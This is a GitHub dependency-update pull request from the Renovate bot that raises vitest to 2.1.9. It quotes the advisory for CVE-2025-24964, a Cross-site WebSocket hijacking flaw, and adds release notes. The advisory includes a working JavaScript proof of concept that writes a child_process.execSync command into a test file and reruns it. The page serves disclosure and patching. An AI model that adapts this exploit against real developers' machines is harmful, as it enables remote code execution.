Skip to content

chore: update dependency vitest to v2.1.9 [security]#45

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-vitest-vulnerability
Open

chore: update dependency vitest to v2.1.9 [security]#45
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-vitest-vulnerability

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Feb 4, 2025 •
edited
Loading

This PR contains the following updates:

Package Change Age Confidence
vitest (source) 2.0.5 → 2.1.9 age confidence

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Release Notes

vitest-dev/vitest (vitest)

v2.1.9

Compare Source

This release includes security patches for:

   🐞 Bug Fixes
    View changes on GitHub

v2.1.8

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v2.1.7

Compare Source

   🐞 Bug Fixes
  • Revert support for Vite 6  -  by @​sheremet-va (fbe5c)
    • This introduced some breaking changes (#​6992). We will enable support for it later. In the meantime, you can still use pnpm.overrides or yarn resolutions to override the vite version in the vitest package - the APIs are compatible.
    View changes on GitHub

v2.1.6

Compare Source

🚀 Features

  • Support Vite 6
    View changes on GitHub

v2.1.5

Compare Source

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v2.1.4

Compare Source

   🚀 Features

This patch release includes a non-breaking feature for the experimental Browser Mode that doesn't follow SemVer. If you want to avoid picking up releases like this, make sure to pin the Vitest version in your package.json. See npm's documentation about semver for more information.

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v2.1.3

Compare Source

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v2.1.2

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v2.1.1

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v2.1.0

Compare Source

This release makes another big change to the Browser Mode by introducing locators API:

test('renders blog posts', async () => {
  const screen = page.render(<Blog />)

  await expect.element(screen.getByRole('heading', { name: 'Blog' })).toBeInTheDocument()

  const [firstPost] = screen.getByRole('listitem').all()

  await firstPost.getByRole('button', { name: 'Delete' }).click()

  expect(screen.getByRole('listitem').all()).toHaveLength(3)
})

You can use either vitest-browser-vue, vitest-browser-svelte or vitest-browser-react to render components and make assertions using locators. Locators are also available on the page object from @vitest/browser/context.

Potential Breaking Change
  • workspace:
    • Correctly resolve workspace globs and file paths  -  by @​sheremet-va in #​6316 (afdcb)
    • This changes how the custom glob pattern in the workspace config is treated. Any file matching the glob is considered a Vitest config file. Any folder matching the glob pattern is treated as a workspace project and is subject to the regular config resolution (single vitest.config.ts or vite.config.ts inside the folder)
    • For example, projects/* will match anything inside the projects folder. If it's a folder, we try to find the config inside that folder (if there is none, it is still treated as a project with the default config). If it's a file, it will be treated as a Vitest config. projects/**/* previously would assume that you only wanted to have folders as projects, but now it will match every single file insideprojects.
    • This change doesn't affect non-glob usage.
   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 3 times, most recently from d0d971e to 1e248cb Compare May 15, 2025 02:39
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 1e248cb to 73c182d Compare August 10, 2025 15:05
@coderabbitai
Copy link

coderabbitai bot commented Aug 10, 2025 •
edited
Loading

Important

Review skipped

Auto reviews are limited based on label configuration.

🏷️ Required labels (at least one) (1)
  • auto-review

Please check the settings in the CodeRabbit UI or the .coderabbit.yaml file in this repository. To trigger a single review, invoke the @coderabbitai review command.

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Comment @coderabbitai help to get the list of available commands and usage tips.

@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 73c182d to 141ed84 Compare August 19, 2025 13:25
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 141ed84 to dae7975 Compare August 31, 2025 10:51
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from dae7975 to 5c2a342 Compare September 25, 2025 13:52
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 5c2a342 to 5589d39 Compare October 21, 2025 09:36
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 5589d39 to 273f64d Compare November 11, 2025 02:52
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 273f64d to 89483e1 Compare November 18, 2025 22:37
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 89483e1 to 99a1f10 Compare December 31, 2025 15:51
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 99a1f10 to fc5de5b Compare January 8, 2026 19:56
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 3dd6a11 to 37b60af Compare January 23, 2026 18:09
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 37b60af to 418beda Compare February 2, 2026 17:08
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

A-dependencies

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants